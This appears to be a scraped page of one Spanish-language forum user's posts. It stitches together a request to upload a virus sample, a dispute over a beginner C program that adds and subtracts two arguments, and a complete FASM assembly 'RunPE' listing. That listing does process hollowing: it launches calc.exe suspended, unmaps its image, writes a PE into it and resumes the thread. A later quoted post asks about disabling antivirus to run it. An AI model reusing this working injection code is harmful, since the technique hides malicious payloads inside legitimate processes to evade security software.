Tienes una muestra del virus? Podrías subirlo?
Saludos.
Saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: Yoel Alejandro en 18 Enero 2016, 16:19 PM
Fair, ¿por qué es errónea? En todo caso no eres quién mandó el ejercicio, así que no conoces el criterio de lo que se está pidiendo o como se espera hacerlo.
Yo trato de dar la respuesta más amplia posible, no sólo la que encuadra con mi preferencia personal, o la forma como YO lo haría.
Se trata de pedir dos números, y devolver su suma y su resta. Es mi opinión se pueden pedir como argumentos de main(), o de cualquier función auxiliar dentro del programa.
En términos de eficiencia e implementación es diferente, pero estoy tratando de dar una respuesta EN LA MISMA LÍNEA QUE PLANTEÓ ORIGINALMENTE EL USUARIO, es decir, respetando su esfuerzo y criterio original, para que mi respuesta pueda ser realmente útil a él.
En vez de lucirme explicando la manera sensacional COMO YO LO HARÍA, en cuyo caso me estaría respondiendo a mí mismo y no a él.
Saludos, Yoel.
Cita de: Orb en 18 Enero 2016, 14:25 PM
Buenas, tengo este ejercicio :
escribir un programa que reciba dos números como parámetros y muestre por pantalla la syma y la resta de esos dos valores.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
if (argc != 3)
{
printf("Error, no introduciste los parametros.");
}else{
int n1 = atoi(argv[1]);
int n2 = atoi(argv[2]);
printf("La suma de los numeros es: %i\n", n1 + n2);
printf("La resta de los numeros es: %i\n", n1 - n2);
}
getchar();
return(0);
}
C:\Users\Juan\Desktop\Ejemplo\bin\Debug>Ejemplo.exe 5 4
La suma de los numeros es: 9
La resta de los numeros es: 1
CitarEl formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.
; // RunPE
; // Programado por Juan fary (mDrinky)
; // drinky.94@hotmail.com
format PE GUI 4.0
include 'win32ax.inc'
entry start
section '.data' readable writeable
struct CONTEXT
ContextFlags dd ?
Dr0 dd ?
Dr1 dd ?
Dr2 dd ?
Dr3 dd ?
Dr6 dd ?
Dr7 dd ?
FloatSave dd ?
SegGs dd ?
SegFs dd ?
SegEs dd ?
SegDs dd ?
Edi dd ?
Esi dd ?
Ebx dd ?
Edx dd ?
Ecx dd ?
Eax dd ?
Ebp dd ?
Eip dd ?
SegCs dd ?
EFlags dd ?
Esp dd ?
SegSs dd ?
ExtendedRegisters rb 512
ends
calc db 'c:\windows\system32\calc.exe',0
bleidos dd 0
Datos dd 0
Espacio dd 0
_SI STARTUPINFO ?
_PI PROCESS_INFORMATION ?
CTX CONTEXT ?
Param2 dd 0
; Datos PE
imagebase dd ?
sizeofheaders dd ?
sizeofimage dd ?
numseciones dd ?
section '.code' executable readable writeable
start:
invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ; nos autoleemos
mov ebx,eax
invoke GetFileSize,ebx,0
mov edi,eax
invoke GlobalAlloc,GPTR,edi
push eax
invoke ReadFile,ebx,eax,edi,addr bleidos,0
invoke CloseHandle,ebx
pop eax
mov [Datos],eax
cmp word[eax],'MZ'
jne salir
add eax,dword[eax+0x3C] ; PE
cmp word[eax],'PE'
jne salir
push dword[eax+0x34] ; imagebase
pop [imagebase]
push dword[eax+0x54] ; sizeofheaders
pop [sizeofheaders]
push dword[eax+0x50]
pop [sizeofimage] ; sizeofimage
movzx ebx,word[eax+0x6] ; numero de secciones
mov [numseciones],ebx
push eax ; guardamos ya EAX para el final
push eax
invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
mov [Espacio],eax
invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
pop eax
mov ecx,0
add eax,0xF8 ; posicionamos en las cabeceras de sección
EscribirSecciones:
inc ecx
push ecx
push eax
mov ebx,eax
mov ebx,dword[ebx+0xC] ; imagebase
add ebx,[imagebase]
mov [Param2],ebx
mov ebx,eax
mov ebx,dword[ebx+0x14]
mov edx,[Datos]
add edx,ebx
mov ebx,eax
mov ebx,dword[ebx+0x10]
invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
pop eax
pop ecx
add eax,0x28 ; Siguiente IMAGE_SECTION_HEADER
cmp ecx,[numseciones]
jne EscribirSecciones
invoke GetThreadContext,[_PI.hProcess],CTX
invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
pop eax
add eax,dword[eax+0x3C]
mov eax,dword[eax+0x28]
mov [CTX.Eax],eax ; EntryPoint
invoke SetThreadContext,[_PI.hProcess],CTX
invoke ResumeThread,[_PI.hThread]
salir:
ret
section '.idata' import data readable writeable
library NTDLL,'NTDLL.DLL',\
KERNEL32,'KERNEL32.DLL'
import KERNEL32,\
CreateProcessA,'CreateProcessA',\
CreateFileA,'CreateFileA',\
GetFileSize,'GetFileSize',\
GlobalAlloc,'GlobalAlloc',\
ReadFile,'ReadFile',\
CloseHandle,'CloseHandle',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
GetThreadContext,'GetThreadContext',\
SetThreadContext,'SetThreadContext',\
ResumeThread,'ResumeThread'
import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'
Cita de: fjfran en 16 Enero 2016, 00:59 AM
y que tengo que hacer desactivar el antivirus para poder ejecutarlo?